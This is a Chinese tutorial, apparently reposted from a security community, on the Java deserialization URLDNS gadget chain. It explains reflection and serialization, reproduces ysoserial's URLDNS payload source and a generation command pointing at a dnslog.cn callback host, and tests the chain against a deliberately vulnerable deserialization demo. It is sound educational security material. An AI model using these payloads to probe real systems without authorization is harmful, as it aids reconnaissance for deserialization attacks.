声明:本篇文章作者YDJA,本文属i春秋原创奖励计划,未经许可禁止转载。
https://bbs.ichunqiu.com/thread-63600-1-1.html
前言
之前对java反序列化漏洞一直都是停留在poc或者工具利用的阶段,最近决定想深究一下其中的原理,自我提升一下,本篇围绕URLDNS利用链,记录一下学习过程。
正文
unsetunset0x01 基础知识unsetunset
1.1 Java反射
Java的反射机制可以在运行时动态地获取类的信息、调用对象的方法、访问或修改对象的属性,而不需要在编译时就确定这些操作。通过使用反射,可以在运行时检查类、实例化对象、调用方法和访问字段,从而实现代码的动态性和灵活性。
要使用反射,需要引入 java.lang.reflect 包。下面是一些常用的反射方法:
1.1.1 获取 Class 对象
-
通过类名获取 Class 对象:Class<?cls = Class.forName("com.example.MyClass"); -
通过实例对象获取 Class 对象:Class<?cls = obj.getClass();
1.1.2 创建对象
-
通过无参构造函数创建对象:Object obj = cls.newInstance(); -
通过有参构造函数创建对象:首先获取相应的构造函数对象,然后调用 newInstance() 方法。
1.1.3 访问字段
-
获取字段对象:Field field = cls.getDeclaredField("fieldName"); -
设置字段的值:field.set(obj, value); -
获取字段的值:Object value = field.get(obj);
1.1.4 调用方法
-
获取方法对象:Method method = cls.getDeclaredMethod("methodName", argTypes); -
调用静态方法:method.invoke(null, args); -
调用实例方法:method.invoke(obj, args);
1.1.5 修改访问权限
-
设置字段或方法的可访问性(用于访问私有方法或属性):field.setAccessible(true); 或 method.setAccessible(true);
一个简单的反射示例:
//通过Constructor类,可以获取类构造函数以创建类的实例
import java.lang.reflect.Constructor;
//通过Field类,可以访问和修改类的字段的值
import java.lang.reflect.Field;
//通过Method类的invoke方法,可以调用类的方法
import java.lang.reflect.Method;
class User {
private String name;
public User() {
this.name = "YDJ";
}
public void Getname() {
System.out.println("user is "+name);
}
}
public class ReflectionDemo {
public static void main(String[] args) throws Exception {
// 获取类的信息
Class<? user = User.class;
// 获取构造函数并创建实例
Constructor<? constructor = user.getConstructor();
Object userobject = constructor.newInstance();
// 调用方法
Method method1 = user.getDeclaredMethod("Getname");
method1.invoke(userobject);
// 访问和修改字段的值
Field field = user.getDeclaredField("name");
//设置类中私有属性为可访问
field.setAccessible(true);
field.set(userobject, "admin");
// 调用方法
Method method2 = user.getDeclaredMethod("Getname");
method2.invoke(userobject);
}
}
unsetunset0x02 漏洞原理unsetunset
2.1 Java序列化与反序列化
为了方便对象的存储和传输,序列化应需而生。Java序列化是将Java对象转换成字节流的过程。反序列化则是通过读取字节流并将其解析为对象的过程。
序列化需要遵循以下原则 :
-
首先,要将要序列化的Java类实现Serializable接口。该接口没有任何方法,只是为了标识类已经准备好进行序列化 -
使用ObjectOutputStream对象将Java对象序列化为字节流。如果需要将其写入文件,可以使用FileOutputStream将数据写入文件中
在原生Java中,分别使用wirteObject与readObject进行序列化与反序列化,下面是一个简单的示例:
import java.io.*;
public class SerializationDemo {
// 用户类,实现 Serializable 接口
static class User implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
private int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
}
public static void main(String[] args) {
User user = new User("YDJ", 18);
// 序列化
try (FileOutputStream fileOut = new FileOutputStream("user.ser");
ObjectOutputStream objectOut = new ObjectOutputStream(fileOut)) {
objectOut.writeObject(user);
System.out.println("user对象已成功序列化到文件");
} catch (Exception ex) {
ex.printStackTrace();
}
// 反序列化
try (FileInputStream fileIn = new FileInputStream("user.ser");
ObjectInputStream objectIn = new ObjectInputStream(fileIn)) {
User deserializedUser = (User) objectIn.readObject();
System.out.println("从文件中反序列化user对象:");
System.out.println("name:" + deserializedUser.getName());
System.out.println("age:" + deserializedUser.getAge());
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
这里我们重点关注readObject方法,因为readObject方法一旦被重写,反序列化该类时使用的便是重写后的readObject方法。如果该方法若是书写不当的话就有可能引发恶意代码的执行
我们在上面反序列化例子的基础上重写User类中继承于Serializable接口的readObject类,加上经典的计算器弹窗代码
然后再次运行代码,可以看到成功弹窗了
然而实际情况中,经过多次测试的项目代码很少会出现这么简单直接的安全问题。大部分的漏洞点还是出现在代码的逻辑问题上,也就是我们常说的:每一段代码单独拿出来看其实是没有什么问题的,但是将他们组合到一起可能就会产生逻辑漏洞。安全人员利用在反序列化的过程中被重写的一些方法和可控属性,最终找到能够执行恶意代码或者命令的攻击方式,我们通常称之为漏洞利用链。
unsetunset0x03工具unsetunset
工欲善其事必先利其器,善于利用优秀的工具并不是一个人懒惰的表现,而是会使我们在漏洞分析利用的过程中如虎添翼
3.1 ysoserial
-
作者:Chris Frohoff -
Github链接:https://github.com/frohoff/ysoserial -
简介:该工具是作者在提出CC链的时候放出的,它可以非常方便快捷地生成各种常见的 Java 序列化 payload,用于测试和利用反序列化漏洞 -
用例:
java -jar ysoserial-all.jar URLDNS "http://hgkj4n.dnslog.cn" payload.ser
通过分析工具的源码我们往往能从中get到作者对于漏洞的独特理解
unsetunset0x04 入门链unsetunset
4.1 URLDNS链
该链不具备攻击性质,只对指定的URL发送DNS查询,不做其他操作,并且对jdk版本没有限制,所以通常用来检测是否有反序列化漏洞
先来看看ysoserial里生成payload的示例
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object{
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <codejava.net.URL.handler</code is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <pThis instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
*
* <pIf the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
作者在示例的注释中也给出了链条的调用
我们直接根据链条正序分析
反序列化的触发点在HashMap类,
我们跟进看一下
可以看到,继承了Serializable接口,
满足序列化的条件
继续跟进该类的readObject方法
方法的最后读取了反序列化之后的键和值,
并使用 putVal 方法将键值对放入 HashMap 中,
而这个过程中又调用了该类的hash方法
继续跟进hash方法,发现其调用了key对象的hashCode方法
而key则是URL类的实例化对象
跟进该类的hashCode方法,
发现其调用了另一个对象的hashCode方法
这里需要注意的是,
我们需要绕过一个if判断条件
可以看到hashCode变量初始值为-1,而在我们序列化的时候就会执行一遍hashCode函数,返回hashCode值就从-1变成了URL的字符串,等到我们反序列化的时候,就无法绕过if语句,所以这里我们需要将hashCode值进行控制修改,就利用到了前面提到的反射的知识,我们可以回过头看一下ysoserial生成payload的代码
这里就不过多解释了,我们接着上面的继续分析
跟进handler对象,
发现它是通过URLStreamHandler类修饰的
所以我们进去该类看一下它的hashCode方法
跟进getHostAddress方法,
发现其调用了InetAddress对象的getByName方法
该方法可以根据传入的主机名查询IP,
触发一次dns查询,至此链条结束
所以更详细的利用链应该是:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
InetAddress.getByName()
通过ysoserial工具我们可以很方便的生成payload
然后编写一个简单的反序列化漏洞demo来验证利用链
public class URLDNSTest {
public static void main(String[] args) throws Exception {
FileInputStream fis = new FileInputStream("1.ser");
ObjectInputStream oit = new ObjectInputStream(fis);
Object u = oit.readObject();
System.out.println(u);
}
}
不知道为什么本地打不通,
猜测是dns服务器的问题,我上vps打
成功在ceye上收到dns请求
最后我们再回过头来看一下ysoserial中payload的生成过程:
先是通过payload加载类将我们指定的url传入URLDNS的getObject方法,方法中创建了一个HashMap对象ht,和URL对象u(处理url),通过put方法将URL对象u和传入的url分别作为键和值存储与HashMap对象ht中(URL对象做为键正是触发DNS解析的关键)。
再利用反射将序列化后被修改的hashCode值重置为-1(原因上面有说),最后返回HashMap对象ht,并在payload加载类中将其序列化。
最后我们的Demo将其反序列化时调用了重写后的readObject方法进而启动整个链条达到最终的DNS解析
总结
一顿分析下来感觉对反序列化的理解清晰了不少,但是还是感觉java漏洞挺难的,反正学习过程中一定要边看教程边动手实操分析,这样才能快速发现并解决问题。URLDNS之后还有CC链、CB链等,长路漫漫,仍需努力!
结尾
原文始发于微信公众号(赛搏思安全实验室):Java反序列化之URLDNS从0到1
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论